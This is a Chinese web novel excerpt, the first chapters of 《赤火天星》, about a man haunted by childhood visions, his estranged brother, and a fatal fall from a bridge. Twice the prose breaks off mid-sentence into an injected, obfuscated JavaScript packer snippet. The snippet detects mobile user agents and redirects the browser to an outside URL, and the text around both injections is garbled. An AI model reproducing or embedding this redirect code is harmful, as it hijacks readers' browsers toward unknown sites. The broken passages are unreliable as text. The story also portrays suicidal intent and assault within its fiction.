《赤火天星》 1. 镜桥一梦二十载,残星湾道悬死生 “妈妈,天上那是什么?” 温风疾徐,牵着年仅四岁小斛寓在镜桥悠闲散步的女人听到这话,由此停下行走的步伐。 她蹲下身抚摸小孩柔软的头发,说:“阿寓,那些是无人机,今晚这里有表演哦!你看桥下两道岸边,是不是都聚集好多人。” 拉着女人的小手有几分收紧,“不是这个。”小斛寓目光不变,伸出手径直略过所有排列分布的无人机,指向空中高处。 “妈妈没有看到吗?那里的月亮大到我只能看到一条边。” “前面还有一条闭着眼睛的白色小龙,好多彩色星星围绕它在转。” “你是在睡觉吗?”小斛寓对着它喃喃自语。 接二连三的话是静水遇炸弹,平地变高山,让女人分外惊奇诧异,她看见儿子瞳孔里绽放的晶莹,便放眼望去,可除有各种灯光、大楼与人群欢呼,根本没有那些,她只看到漫天的星星与往日如常的月亮。 正欲详细询问,却被一道奶萌可爱的声音吸引,两人转头。 “哥哥,哥哥!嘻嘻嘻!” “等、等等、等等鹅……” 不远处迈着小碎步,脸蛋因着急走,变得红扑扑的小团子在迫切地朝两人走来,女人的丈夫则笑着跟在走路还不太稳的小儿子身后加油打气。 “坦坦真棒!” 女人见状,笑着打趣调侃:“喂!你们也太慢了吧!哈哈哈!” 小斛寓见到弟弟眉开眼笑,挥动双手呼喊:“坦坦!妈妈和哥哥在这里!加油哦!”说完,他又转头望一眼天空,随后迈步走向弟弟。 尚时年幼的他根本不知道,也想不到看到这些奇异的景象代表什么,以及裹含着的寓意,他只觉得很漂亮很漂亮。 “等等,阿寓。”女人这时拉住小斛寓的手,只因为她并不觉得方才那番话是玩笑,她很了解自己的孩子,而且她认为这件事不需要再多问了。 她揉了把小斛寓的脸,忍住笑,忽视小孩皱眉的神情:“在去找弟弟之前,阿寓能答应妈妈一件事吗?” “嗯!妈妈说!”乖巧又带着小沉稳的人儿当即点头。 “好的!其实妈妈呀,想要阿寓答应的事是,刚才在天空中看到的可以保密吗?不告诉任何人的那种,可以吗?” 小斛寓显然不理解为什么,满脸好奇和疑惑地询问:“爸爸也不可以说吗?” “没错!” “那弟弟呢?弟弟也不可以吗?” “是的!不可以哦!这是属于你和妈妈两个人才知道的秘密!你答应妈妈的话,妈妈以后经常带你来这里,怎么样?可以吗阿寓?” 对于女人来说,在超出人认知和所见范围的东西面前,最先应该做得就是保守一切,这样能极大避免受到伤害和灾祸。 撞进母亲温柔的眼神,小斛寓垂眸思考,保守秘密对他来说一点都不难,明天还能过来看那条小龙。 不到三分钟的时间,他就答应了。 “妈妈,那要拉钩吗?” “噗!当然要!记得谁都不可以说哦!走吧!现在我们去找爸爸和弟弟他们!” “好!” …… 十四年后。 “大家好,这里是记者播报,接下来,我将带大家了解此刻突发事故的具体情况。据消息现场得知,长溪公路发生一起车辆连环追尾重大交通事故,目前人员伤亡10死4伤……” 滚烈浓烟毫无罢休,三番四复的爆炸碎片处处飞,满地恐慌,面目全非的人鲜血淋漓,那是降落的大雪也无法遮盖的悲痛与绝望。急促的警车与救护警笛如同掌控人生死走向的半面使者,声声割入心喉,撕破长空。 “斛寓!!!” “我恨你!!!我恨你!!!” “我这辈子都不会原谅你!!!你怎么配活着!!!你怎么配!!!” 被辱骂的人浑然不觉,犹如失聪,他全身遍布疼痛,连头破了个洞也感知不到疼,脸上不断传来温热与血腥味,眼前一幕幕让他丧失所有,灵魂被抽走变成一具死透的木偶。 斛寓跪倒在地,泪水不止,哽咽如针刺扎喉。 “对不起……” “对不起……” “对不……起……” …… …… 十年后。 “您好斛万先生,我叫江诚。” “嗯,您好,江医生。” “请跟我来。” 门,将白日上锁。 …… 夜晚,19:30分。 “尊敬的各位观众,大家晚上好!欢迎收看c频道《经典访谈》,我是主持人宋赐。本期,我们很高兴邀请到了令广大民众热烈关注的一位人物。他是来自……” 后台室,冷气围绕,空中阵阵清香,像被细细研磨的香粉,撒向每个角落。所有工作人员围聚在即将要出场的人周边,一个个敛容屏气的仿佛空调里吹出来的风是一枚枚尖锐刺骨的冰针,只有来回变换的脚步音,三两句应答与整理仪容的瓶瓶罐罐声。 这幅景象让站在不远处的姜旗头疼,他解掉身上西装最后一颗扣子,抬手扶了扶镜框,看向中间那个模样清俊温和的男人——斛熙。 准确来说,应该是那个男生,毕竟今年才毕业,还未经过社会拷打磨砺。 姜旗在心里啧啧两声,人们的形容总是那么的恰当到位,真是应了外界那句“斛家二公子,纯真又无害”这句名言。 不过,谁又知道这副面孔是个限量版呢? 一番仪容整理与检查下来,再三确认无误后的负责员终于在心里舒了一口气,放下手中的发胶说:“斛先生,已经好了,劳烦您现在到入口处等待。” “好的,辛苦了,谢谢你们!待会儿姜秘书会给你们点饮品,要记得喝。” 真是和煦有礼又风度,这边被猝不及防点到名字的姜旗与他对视,斛熙皮笑肉不笑地瞥他一眼,离开。 在工作人员们的欢呼中,那位负责员终于反应过来,先是道了谢,然后嘴里开始念叨:“第一次接触真人,看来那句名言挺有道理啊!” 闻言,姜旗轻笑一声,先掏手机下单饮品,再划几下屏幕回到聊天界面看先前给斛万发出的消息有没有回复。 可惜,空荡荡的啥也没有,他轻微蹙眉,有些担心。下一秒转而迈步去了入口,他现在要把该做的事完成才能安心离开。 斛熙站在这里等待主持人宣布上场,期间心中的烦躁久居不下,他毫无耐色地大力拉扯领带,肩膀却突然传来彻骨的疼痛,紧接着,熟悉的低气压入耳,甚至能想象到背后之人在克制发飙的情绪。 “斛熙,我警告你,不要故意惹是生非,否则后果你自行想象,我想,你应该很清楚你先前在你哥面前做的保证吧。” 第一次警告,也是最后一次警告,如果私下只有他们二人,姜旗会惯性无视他这些乱来作妖,就算这人当场把裤子脱了耍流氓他都无所谓,但在这些正式严谨的场合与事情中,斛万不在,他绝不允许斛熙惹出乱子。 斛熙眼底的暗色转瞬即逝,他无声吸了口气,冷笑,反手慢悠悠拨开肩膀上那只手:“呦!这不是大名鼎鼎的华瑞集团总裁斛万先生身边的金牌助手,姜秘吗?他”头微后仰,侧过脸扯出微笑,“你别忘了,惹不惹事向来取决于我想不想,你以为你真能拿他压我?” “况且他还改了名字,竟然还跑国际当什么狗屁模特,斛家人的脸都被他给丢完了。” 姜旗眯眼,努力控制出拳的冲动,这死小子这么多年怎么还是毫无改变,还是死脑筋什么都转不过来。 “那接下来,让我们有请,斛熙先生登场!” 掌声与呼喊如雷,斛熙收起那副随心所欲的模样,转过身凑近到姜旗耳边,讥讽:“不过,曾经最厌恶寄人篱下的人不得不给人做狗且任人使唤的滋味怎么样啊!你说呢?姜旗。” 说完,他当着眼前人的面,仔仔细细将领带整理好,噙着温文儒雅的笑容入场,姜旗毫无起伏的将这一连贯话语及举动尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394955|200365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收眼底。 几秒钟后,他摘掉眼镜,揉了揉太阳穴和眼角,听到台上传来游刃有余地幽默交流,突然笑骂道:“操,毛头小子懂什么啊!” “唉……” 20:02,观雨诊室。 “江医生,我们现在开始吧。” “好。” “斛万先生,接下来,请您认真看我手里这块表。” ——滴答、滴答、滴答, 残痛过往,如风暴巨浪。 …… c频道后台室,姜旗独坐沙发,手拿着一杯果茶,百无聊赖地上下拨弄手机屏。方才斛万终于给他发来消息,他心里的大石头总算坠地,在这之后就没什么事可做了。 心不多想,他看一眼时间,再有几分钟节目就要结束了。 不多时,门锁响动,一名身穿工作服扎着高马尾,模样稚嫩青涩的女生推门而入,看起来像刚毕业。 女生说了声你好,声音很轻很低,整个人紧张局促,很快寻了个比较靠近角落的地方,搬过椅子坐在那里,低着头十分安静。 莫名感觉这眼前的场景很孤凉,角落那边像在单方面降雨,姜旗放下果茶。 “你好,你是实习生吗?” 同样的问题,在问完三遍之后女生才终于听到声音,还未等他说下一句,铺天盖地重复性对不起朝他丢过来,他赶紧打断。 “那个,好了好了,不用说这些,没事。”太多句歉语让他冒汗,他是真承不起这些啊! 接着他继续方才要说的:“既然是实习生,怎么会被派到这里?” 听此,女生的表情立刻由不安低落化为正襟危坐,让姜旗正摸不着头脑时就听她说:“你先答应我要保密哈!” 不等他说,便见女生双手握拳,话语染上几丝愠色和打抱不平。 “那会儿我听到台里两个男的聊起关于这次节目的事,他们说本来内部邀请的是华瑞集团总裁斛万先生出席访谈,没想到他弟弟斛熙先生却来了。” “还说……” “还说……”声音越往下越小,女生完全难以启齿,那脸都揪到一起。 “说什么?大胆说,我不会泄露出去。”姜旗听得那叫一个津津有味,八卦心飚到顶峰。 得到回应的女生咬了咬牙气不打一处:“他们说斛熙先生是废物,是靠他哥只知道吃喝玩乐的烂泥,如果没有那些知名头衔早就混不下去了。” “然后我就跟他们掰扯,但他们不知道跟谁告状,结果就成现在这样了,但我觉得我没有做错,哪有人不经过日常相处了解就随意下定义啊!” “…噗!…噗哈哈哈哈哈!” 姜旗点头加称赞,谈笑自若:“说的太有道理了!其实呢,斛家两位兄弟各有各的优秀和能力擅长,但人的通病总爱把两个人放一起比较,好像这样做就能达到内心那种怪异特殊的认可和满意,实则本质映射的是自身内心的无知和偏见罢了,只会强行向别人甩各种问题,永远意识不到那是自己的问题。” 话落,他耸了耸肩,将最后一口果茶饮尽。 “是吗?” “我们姜秘的嘴皮子,什么时候涂了这么厚的蜜,我竟然到现在才知道,啧啧啧。” 斛熙这人,不知道什么时候就倚在门处了,阴阳怪气撂下这番话就走了,临走前还看了眼那个女生。 “怎么跟个鬼一样,连个声儿都不带吱出来的。”姜旗冲那人的背影嘀咕,完了他站起身望着发呆震惊的女生,看了眼她的工作牌。 “走了,祝你好运!” 停车场内,寂静被某种物件重重落地的声音打破,嘶吼和拳头掺杂着袭向姜旗。 “滚!!!别拦我,联合起来骗老子是吧!!!” 远处三四米开外的车里,正坐着一个通身黑衣黑口罩的年轻男子,他手里把玩着录像机,仅露出来的那点儿皮肤被映衬的更加白皙,片刻后他对后视镜里的人展露出弯弯的眉眼。 “你说,斛万看到真的会疯掉对吧。” 2. 镜桥一梦二十载,残星湾道悬死生 姜旗擦掉嘴边的血,他怎么都想不通斛熙这小子一根筋脑子每天的脑回路,不行,他要赶在斛熙前到达斛万那里。 “我去,这年轻毛崽子下手真不是一般狠。” 二十分钟前。 “滴——滴——” “您好,您所拨打的电话暂时无法接通,请稍后再拨……” “滴——滴——” “您好,您所拨打的电……” “靠!!” ——嘭!!! ——啪!! 黑暗中,手机被斛熙重重甩向远处,电话播报戛然而止,不知前方谁的车顷刻响起警报助力上这场动静。 姜旗:“……” 下一秒他开口:“我刚刚要是多走两步,大概率就被你砸晕这了吧?还有,这位先生我提醒你一下,你把人家车砸出一块儿小凹陷。” 没有应答。 两人就这么隔着距离,互看彼此的身影轮廓,周遭除了车灯闪烁与警报再无活物生息,姜旗飞快脑补了一场恐怖停车场,当看到斛熙一手扯开西装,一手往上抓头发的那刻,他快步走去。 那是斛熙耐心耗尽的征兆,也意味着很大概率会出现严重的后果。来的时候,他想着这人早走了,在听到他声音那会儿还以为是幻听了,但这人现在是什么个情况? “我时间紧迫,你怎么了?赶紧告诉我,我来处理。” 姜旗边说边看手腕,他真的该走了。 斛熙目前的火气是越来越大,尤其见姜旗这幅跟某人语气高度相似的死样子更是厌烦,只不过那个人对他从来是漠视与高高在上,从来不放正眼。 领带与衬衣领口被拽得凌乱皱巴,斛熙压着脾气:“我先前答应代替出席访谈,现在结束了,那么我当时提出的条件是不是可以兑现。” “那个人三通电话不接,所以姜秘书,我要用你的手机。” “当然可以兑现。”姜旗在话的期间摘掉眼镜,神情略淡,“但你和你哥当初提出的条件我并不清楚,你要联系我也不阻拦,可现在这个时间你哥在忙,如果你着急,我之后会帮你,你想要手机不可能。” “忙?” “嗤!呵哈哈哈哈!”眼前的人大声冷笑,讥嘲道:“真不愧是人人提起都夸的比明珠都耀眼的天之骄子啊!你不是说我们兄弟俩各有优秀和能力吗?那你倒说说看,他每天都在忙些什么笑话?” 姜旗也冷了脸色,本就寒凉的气氛雪上加霜:“你装什么不明白。你觉得你哥积年累月的这一切全是笑话?你这个疯子从来只顾自己。” “你,有听过一句话吗?”斛熙索性释放情绪,摊开一切,“叫做人不为己,天诛地灭。非要我说明白?是!那就是笑话!是天大的笑话!不只是我眼里的笑话,那更是背后所有人的笑话!” “你说他忙到声名大噪让那么多人想起提到就恨之入骨,恨不得除掉,利益至上,毫无人性到冷血狠辣。” “还是忙到不顾众人反对执意创下那些没用的破时装品牌玩意儿,不要脸和声誉的改名去当国际模特折腾。你告诉我姜旗,那怎么不是另一种悲哀和笑话呢?” “说啊,怎么不说了?” 斛熙拽起他的领子。 “回答我啊姜旗!!!” 出拳的速度和力量实在太惊人了。姜旗反应过来的时候已经被放倒躺在地上,颧骨和额角更是挨了两拳,他被身上的人大力按住无法动弹,衣领被攥得太紧有些难以呼吸,他咳了几声,平静地对向那双恶狠欲裂的眸子。 “你想让我说什么?你,一直以来都在误会你哥而已,咳咳咳……” 迎接他的是又一拳:“你不是我,你怎么会懂,你不清楚我的经历,你就不能有任何资格对我说这种话。”趁此,斛熙迅速摸出姜旗的手机点入对话框。 几秒钟,手机四分五裂。 “好!真是好得很!!”斛熙大步走向出口,在经过被砸坏的车时,拿出自己的名片夹在刮雨器上,俯身捡起自己的手机离开。 停车场空荡荡一片,姜旗挨得次数虽少,但因下手狠实在太疼,躺在地上足足缓了五分钟才起身,他急匆匆拿出车钥匙。 “完了完了。” 彼时。 江诚是全程绷脸皱着眉给斛万进行的心理诊疗,通过一系列过程与结果,他的情况远超出预想,实在太复杂特殊,已经不能用严重来形容。 这里没有规则与束缚感的桌椅,而是摆在同一方向的两张单人软沙发和横在中间的木质小桌椅,像好友之间在谈笑畅聊。 全屋中式极简风再加上暖黄色灯光与淡雅的竹味熏香,都能很大程度上给人带来温暖舒适和独有一份的安全感。 茶香袅袅,今天的坐客人正望着窗边那因开得太旺盛而探头入室的海棠花,身穿衬衫西裤坐着,眼中晕染黯淡沧桑。 江诚在见到这个人之前,总会从身边人的述词里听到关于他的内容,但事实却非如此。 气超钢枪、姿越柏松,一张男骨女皮的面相,形准锋锐,但没有柔媚之气,有双望不到底,很奇特的眼瞳,似乎游离于世界之外,头发也没有跟视频照片里那样造型精致,是一眼就能看出那是吹干后随意搭在额前,这让他减了几分成熟,增了几分亲和。 或许是彻底放下了伪装,暴露出真实的一面和内心的忧郁颓丧,他现在和外界称呼中的“冷血”、“没有灵魂内核”、“机器”完全不沾边。 江诚悄然无声地叹了口气。 “最后一个问题。斛万先生,希望您能如实告诉我。” 听到声音,沉浸在自我世界的斛万转过头:“嗯,您说。” 江诚此时正色严谨,貌似在对某些猜想作最后的绝对确定和认证。他开口:“斛万先生找到我之前,在过去的所有时间里,有别的心理师给您治疗吗?” “没有。”斛万平淡地对上他的眼睛如实回答,“在这之前,我并未动过找心理师的念头。” 起初,他根本不在乎,哪怕日日夜夜深陷梦境与绝望沼泽也视若无睹。小时候扑在学业上麻痹自己,长大毕业后赴在工作上麻痹自己,他想,就这么一辈子活下去就好,他本就该痛苦地活,绝望着老死,或者因病暴毙。 但从今年开始,他开始连续性地做很多奇怪诡异的梦,各种不属于这个世界的物种和混杂之声从未有一刻停止去扰乱他的心智和思绪,也由此,他给自己规划的忙碌时间更加长更加凶狠,最后身体终是遭受不住,导致出院那天被外公外婆,爷爷奶奶强制性要求。 否则,他不会有这一趟。 得到不算出乎预料的回复,江诚点头:“好,情况我已经知道并了解,介于您有长期失眠症状以及先前就有服用药物进入睡眠的先例,我也会开些药,希望斛万先生按时吃,但绝不可过量。而针对其它方面,日后我会循序渐进开展进行,接下来就劳烦斛万先生每隔一周来这里一次。” “为什么是观雨?” “什么?”江诚顺着斛万的目光落在墙壁正中央,“哦,您说墙上那幅字吗?”那是一张十足引人注目的笔墨,笔笔刚劲张扬又尽显下笔人的飒爽干脆。 “嗯。” “那个呢,是我特别重要的人写的,才不久前送给我。她啊!是一位在各领域都非常有独到见解和思维的人,关于您的问题,到目前,我也在琢磨。” 斛万清晰地感知到医生在向他介绍这幅字时硬朗面容绽开出的温柔,更体会到他忆起过往时的美好。 几秒钟后,那杯茶水被一饮而尽。 “原来是这样,谢谢您,江医生,先不打扰,我先走了。” “好,没事。” 当斛万迈出诊室即将合上门时,他听到医生叫他的声音。 “斛万先生。” 门,被再度展开。 里面的人站在那里,暖光与字墨在身后要与他融为一体,而他就像一位经历过了这世间所有而怀光归来的老者,尽管还没有他年纪大。 只见他露出一抹笑,那抹笑中是没有掺任何杂质的希望,善意和愿你好的祝福,更言语轻快,让斛万记忆深刻。 “人呢,不能终日把自己沉溺在事情中,那样会逐渐失去拥抱自然与太阳的勇气,要善于并合理运用自我及时抽离,如果你有空闲时间的话,就多到外面走走看看吧,在这些时间段先放下一切烦忧去感受,或许在某一天,不仅能带给你全新的发现,说不定还能一点点解决你跨不过去的东西。” 时间一分一秒快得像在奔跑,墙壁上那散发着年代气息的挂钟钟摆奏响起“咚、咚、咚……”的韵律,原来已经九点了,它每个节奏都深沉浑厚,每个节奏都庄重威严。 斛万说。 “好,谢谢您。” ——咔嚓—— 安静了。 门,锁不住光明。 走廊里,斛万一手提药袋,另只手将电话开机,在看到三通未接来电时恍惚了一瞬便很快敛掉神色,要拨出去时窗口弹出两条短信,当看到发送人名称时,他停下脚步毫不停留地点了进去。 信息内容是: 【好久不见了!】 【你想摆脱你正遭受的一切吗?】 斛万的思绪被光速拉回。 三个月前的某晚,连轴转工作彻底结束后的他刚到家就莫名其妙收到这个昵称叫做“JR”的短信,但内容只一句他的名字。开始他没当回事,以为是如往常一样的恶作剧。 因为自打成为模特,除了他的家人信息,余下有关自己的各种便毫无遮挡,号码被人泄露也最常见,以至于当收到短信,新号他才只使用两天,对此,他选择了忽视。 但他不知道那仅仅是开始。 第二天,同样是刚到家的时间,也同样是那个称呼的信息,可内容却由他的名字变成斛熙的名字,那时候斛熙刚回国,还根本未露面于大众眼前,但斛万也并未回应,而又以忽视结束,在警觉和防备保护的同时,也接着观察发信人接下来的动机。 就这样接续着,第三天、第四天、第五天……整整十天。他的外婆、奶奶、爷爷、外公,甚至他父母的名字都一一跃进眼里。除此外,过往的事故,小时候他看到的异象包括他的梦境都一清二楚。 事情走到这种程度,斛万哪怕去查这个人也得不到任何消息,仿佛根本不存在,于是他不再被动,直接一语到底询问对方是谁,可这人来的怪消失的也怪,只一句下次聊就再无音讯。 就这样到现在,这个人又再次出现。 斛万刚编辑好文字准备点击发送,但对方的又两条信息迅速传了过来,仿佛有种异常把握知道他的心中所想。 【如果你想知道真相。】 【十点钟,残星湾道镜桥,不见不散哦!】 眼里印入镜桥二字,那海浪般巨大的苦涩和痛苦顷刻吞噬掉斛万的全身,心脏剧烈颤跳,全身变得无力站不住脚,刚扶墙靠在那平复呼吸,他就接到了来自姜旗的电话。 “访谈结束了?” “斛万,你现在没走的话就马上离开。” 另一端的语调明显是慌的,还伴随急促地喇叭声和骂叫,察觉到不对劲的斛万凝眸冷面,他开口。 “姜旗,出了什么事?” “是斛熙他……” “七弯八绕的,花样真是多,你让我找的可真辛苦啊!!!” 在这一句比一句高调张扬,回音到处撞击的疯狂语气里,没等斛万听完电话另一端的内容,手机就被斛熙一把抓去砸在了墙上,接着夺走手上的药袋子。 被撕毁、被拆开、被一瓶瓶倒入地面,白色药丸落地,四处蹦散,遍布一片。 “吃什么药?你凭什么吃?你配吃吗?你就该永远被煎熬环绕,你听清楚了吗。” 可斛万全程到底都是波澜不惊,面色不改,看他的眼神如同在看一株杂草,冰冷,凉薄,不屑一顾,那活脱脱是面对外界人们的形象。 可外界的人,并不是斛熙。 “疯够了就滚回去。” “该滚的是你!”斛熙双手掐住他的脖子使劲推到墙上,愤恨到颤抖,“你不是说我结束就立刻告诉我爸妈的埋葬地点吗?你为什么不说,我打电话你故意不接,发信息故意不回,还联合姜旗那家伙耍我,你凭什么这么对我,凭什么!!!!!” 喉咙里的窒息感越发艰难强烈,斛万闭着眼,眉宇紧蹙一寸比一寸,脸色因缺氧大面积泛红生紫,但他心里却是一点不想反抗,他也确实照念头这么做了。 他想,就这样一直误会下去吧,越多越好,可是,那双手却消失了。 斛万按上脖颈以便于克制自己大口呼吸,不足一秒便睁开的眼睛直直跌进一双满是憎恨厌恶和泛红的眼眸。 他变得格外安静。 他没有大声喊叫。 他开始不再吵闹。 斛万的耳内被刺进他最后一句话,轰隆鸣响将心脏劈成片块,强行克制的身体仍旧现出不可察觉地发抖,只因为他说。 斛寓,你真该去死。 “……坦坦……” 走廊里早已剩斛万一人,他嘴唇嚅嗫,眼里翻起泪花,仿佛斛熙在这里才轻柔地喊出口,可现实永远残酷,而他也只敢独自一人时如此,儿时最喜欢叫这句的人和最喜欢听这句的兄弟两人终究是难以回到儿时了。 待姜旗赶到,看到的只是满地散乱和死气沉沉拾捡药片的斛万,顾不上腿疼,他火速跑过去帮忙,那张嘴也完全不闲着,开始跟吃了□□子儿似的向外发射。 “你没受伤吧斛万?那小子有没有对你做什么?来的路上我真想把那马路给掀了,堵得一批,还跟个不讲理的人吵了一架。” “哎!有件事我是真奇怪,不知道你清不清楚,就是你说斛熙那小子什么时候练的?力量那么大那么恐怖!本来一遇事脾气就暴,这岂不更暴了嘛,啧啧啧啧!” “对了,你吃晚饭了吗?情况怎么样?医生怎么说?” …… 斛万边听这人的叽里呱啦,边看他每弯一次腰就暴露在他眼前那张脸上的痕迹,就连创口贴都没对准伤口,地上还有最后三颗药,斛万还是一言不发,也不捡药了,他就那么站着注视他,直到全部捡完放入手里的瓶子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394956|200365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “姜旗,为什么不还手。” 回应他的只是几声哈哈哈,然后就听到他说:“一点不疼我还什么手啊!再说了,我才不欺负比我小的,这你不也清楚吗,就那小鸡仔儿,没挑战性好吧!” “是吗?” “还有,把你手机拿出来给我。” 两句话就让姜旗咯噔,顿时语无伦次:“手机……手机……啊!手机我忘车上了,下车走太急了哈哈哈……”姜旗笑着笑着就笑不出来了。 斛万面无表情却严谨,淡淡看他一眼,漫不经心地说了句。 “去年和前年,你也是这样跟我说的。姜旗,你真的很不会撒谎。” 【姜旗,你真的很不会撒谎……】 这句话在姜旗脑中不停盘旋,让他恍然重新看到高中到大学,再到如今的斛万,在各时期各阶段时常对他说的那道声音全都在当下这刻交叠到一起。 姜旗无法控制,又露出状似低落实则是积压多年歉疚的表情,他想到自始至终外界对斛万的犀利评价,全是扯淡虚无,因为他最清楚真正的他到底是什么样子。 跳脱的家伙变成沉默者,斛万怎么会看不出眼前这人情绪变化起伏的原因,这对他来说连易如反掌都算不上,那种与生俱来的东西,哪怕仅是几丝细微末节都能极快捕捉到。 他开口转移姜旗的注意力。 “我提前买了同品牌的新手机,目前机主本人你,该出发去赴约了。来这里的途中我注意到公司大楼附近新开了家餐馆,你先去尝尝味道,记我账上,味道可以的话周五晚早点带所有同事去聚个餐,老样子不允许点酒,不允许超过九点钟结束,不允许任何人提出走二场,安全把女孩子们送到家。” “最后一件事,明天的会议让斛熙出面,如果他不同意,就告诉他绝无可能这四个字,他会明白。” “昂?”每个字都奏效了,因为听到这些话的人好像长出了长耳和尾巴,止不住地晃啊晃,“不是,你不打算跟我一起?” “嗯,我去散步。”斛万转身下了楼梯,徒留姜旗立在原地张嘴石化。 “散步?我□□去!!!活口见…啊呸!活久见!” “等等我,你真不能跟我一起去领手机吗……” …… 又废了很大功夫和口舌才说动姜旗驱车离开,斛万突然不想开车,打了出租来到镜桥,他关上车门沿边上桥,夜风扑遍他满怀。 十年未踏入的地方一如既往不曾变,空中的巨月和彩色星星还在,只是一步一步走,一步一步看,被包围沉睡的小龙长成沉睡的大龙,点缀大桥花坛里的草丛变成花朵,没有无人机,也没有桥下岸边的人群,更没有漫天星星和悬于远处的弯月,而他,也只剩下自己。 香烟品火,他走到当年四岁时停下的相同位置,圆满幸福一家人的欢声笑语犹如重新回到身边,缓慢转头,梦还是无情地被敲碎被打进现实,他从没这么肯定过。 他啊,从出生就是个错误。 风的频率不断以倍速增长,离十点钟只差十分钟,可不知今夜桥下的江流怎么了,异常波澜浮躁,似若烧至最高沸点的开水。又不止如此,这条大桥上所有的灯开始不停闪烁,接着竟然在一盏盏地爆开。 斛万得到动静转身就看到右端一辆大货车在随着一杠杠爆裂灭掉的灯,以超时速的癫狂驾驶朝他所在的方向开来,车内人狰狞疯魔,斛万认得这张脸,那是数年来都想要他命的竞争对手之一——毕泽。 身临这般紧张恐怖到令全身细胞激素恨不得喷薄而发的局面,斛万的表现却泰然沉静,纹丝不动地站在原地。如果换做以前,他绝对不会让这个人的各种计谋得逞,但当下他却想通。 他果然,最适合去死。 步伐向后前进,整副身躯贴靠护栏,一手肘抵放其上,另一夹烟的手递到嘴边,斛万吸入一口散淡吐出,烟雾拂过那双野狼如炬的眸子化成白丝消亡,他闭上了双眼,张开了双臂,仰起了头,脑海中大量涌现不同人喊骂让他去死的脸,还有……他最重要的弟弟。 只听“嘭”声巨响。 “斛万你大爷的!!!我口误那句活口见你是不是听见了我操!!!” 香烟栽地,斛万被蛮力推开,货车来不及掉头直朝栏杆撞去,因力度太大断裂部分太多导致斛万姜旗两人均未能安全避开而双双坠落。 四十六米的高度,姜旗手快抓上一块摇摇欲坠的护栏,死死抓着斛万,他怒喝:“你就这么想死?你就这么想死!!!!!这么多年,我从不过问你们兄弟俩的事情,但这不代表我要装作漠不关心。” 他简直不敢再想象,如果半路上他没有多出那份担心,最后会有什么样的后果。看看这个人,是有多不在乎自己的命能心甘情愿被撞死。 斛万没有抬头看他,只是望着身下的江水,就好像是多年来都在召唤他沉坠。抓着姜旗的手逐渐松开,他的声音小到勉强才能听见:“别管我了,你松手吧。” “不、不行……天杀的你这家伙是干什么!疯子!疯子疯子疯子……”感受到手中那只手不断在下滑,姜旗整个人慌乱无助,开始又拽又抠:“你敢!!!斛万你敢死试试!!!你tm真的连家人都不要了吗?” “不要了……”斛万回答的太果断简洁了,这真的太不正常了,接着他另只手覆在姜旗手背,抬头露出一丝淡笑,“黄栌就快回国了,听我一句,这次就别再逃避了,去好好生活吧。” 话落,他用力掰开姜旗的手。 “不行不行!!!斛万!!!!!斛万!!!!!”姜旗哭了,眼泪化线,可惜为时已晚,他还是坠进了江里。 毕泽摇摇晃晃满头是血地站在桥上,发出得逞地邪笑,他阴狠地看着姜旗:“在我的观念里,就是一定打铁要趁热,杀鱼要杀净,你这么难过,就跟着斛万下去吧!!!!!” 姜旗冷冷盯着他:“毕泽,我敢保证,斛家人不会放过你。” “哈哈哈哈哈哈!你觉得老子会怕?”毕泽伸出腿朝姜旗头的方向踢去,他高喊,“去死吧!!!!!” 可未等给以重创,姜旗就已毫不犹豫地松手,消失不见。 “呦!竟然养了个忠心的家伙。妈的终于死了!从此!华瑞集团称霸拉下帷幕!!!哈哈哈哈!!!!!” 风波过去,一切又转归宁静,无人知道今晚异常的江水出现了两抹淡绿色光芒,在时针指向十点钟时又消失得无影无踪。 那灯盏毁坏一半且黑暗无比的桥上不知何时就站了个人,虽然完全看不清样貌,但能看出个子很高,黑衬衫西裤,一头黑长直发,手机正置在耳边。 若再仔细观察,就能看出她在频率微小地喘气,那俨然是剧烈奔跑才会出现的征兆。 “嗯,可以。” “我们十天后见。” 这时,远处一辆通体磨砂黑超跑在以高速疾驰而来,后方跟着无数辆闪烁着蓝红灯光的警车,那气势似若踏马握刀的兵将来袭。 她挂断电话,轻呼一口气缓缓仰视天空,半晌才娓娓开口。 “我们的想法。” “是达成一致了吗。” 3. 金沙暗郊匿蹊跷,蟒藤入幻夺魂喉 深水让斛万睁不开眼,随着身体不断下沉,他好像变成了一条自由自在的鱼,身体从未如此轻松过,心中也从没有这么快活过。 “死公鳖,你把脸滚开!真是恶心死了!人家要是突然睁开眼,就算没死也被你吓死嘞!哦呦呦呦好帅啊!怎么可以这么帅啊!熬了几十年我终于等到合我心意的菜嘞!还有这个湿身太棒了喽!” “你、你这疯猫嗓,我才不丑!还、还有,不能吃人,你不能忘记!” “少废话!就你懂就你懂嘞?我可没你那么蠢耶啦!” “你、你又打我!” “打嘞打嘞你有本事追上我啦!” 互殴打骂此起彼伏,终于惊动了躺在地上的斛万。 “嘶……”一声闷哼响起,打断了激烈喧闹叫骂的两个东西,不由得面面相觑。 “疯、疯猫嗓,你听到什么声音没?” “妈妈耶!他动啦他动啦!咱快跑快跑啦喽!!!”说完,这疯猫嗓将另一个家伙扛在肩上跑得那真是一个迅速,比鸟都要快。 待动静逐渐消失,斛万的双眼眯开一条缝。他可不是刚醒,其实在那两个不明生物说第一句话开始他就已经苏醒,但心中冒出太多疑问让他保持了静观其变,在确认周围完全没有奇怪的事物和声音,他这才起了身。 